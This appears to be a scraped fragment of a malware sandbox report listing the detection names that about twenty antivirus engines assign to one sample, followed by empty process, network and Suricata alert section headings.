FireEye	Generic.mg.bbcb6f6fdf6a96a1
Emsisoft	Trojan.GenericKD.46419057 (B)
Avira	TR/Dldr.Agent.zgyzr
MAX	malware (ai score=86)
Microsoft	Trojan:Win32/Wacatac.B!ml
GData	Trojan.GenericKD.46419057
Cynet	Malicious (score: 100)
AhnLab-V3	Trojan/Win.Generic.C4514302
McAfee	Artemis!BBCB6F6FDF6A
VBA32	TScope.Trojan.MSIL
Malwarebytes	Malware.AI.3250178640
TrendMicro-HouseCall	TROJ_GEN.R002C0WF621
Ikarus	Trojan.Dropper.Dapato
MaxSecure	Trojan.Malware.73433372.susgen
Fortinet	Malicious_Behavior.SB
BitDefenderTheta	Gen:NN.ZemsilF.34722.cm0@aGoUafk
AVG	Win32:MalwareX-gen [Trj]
Cybereason	malicious.f2c9cb
Panda	Trj/GdSda.A

cmd.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All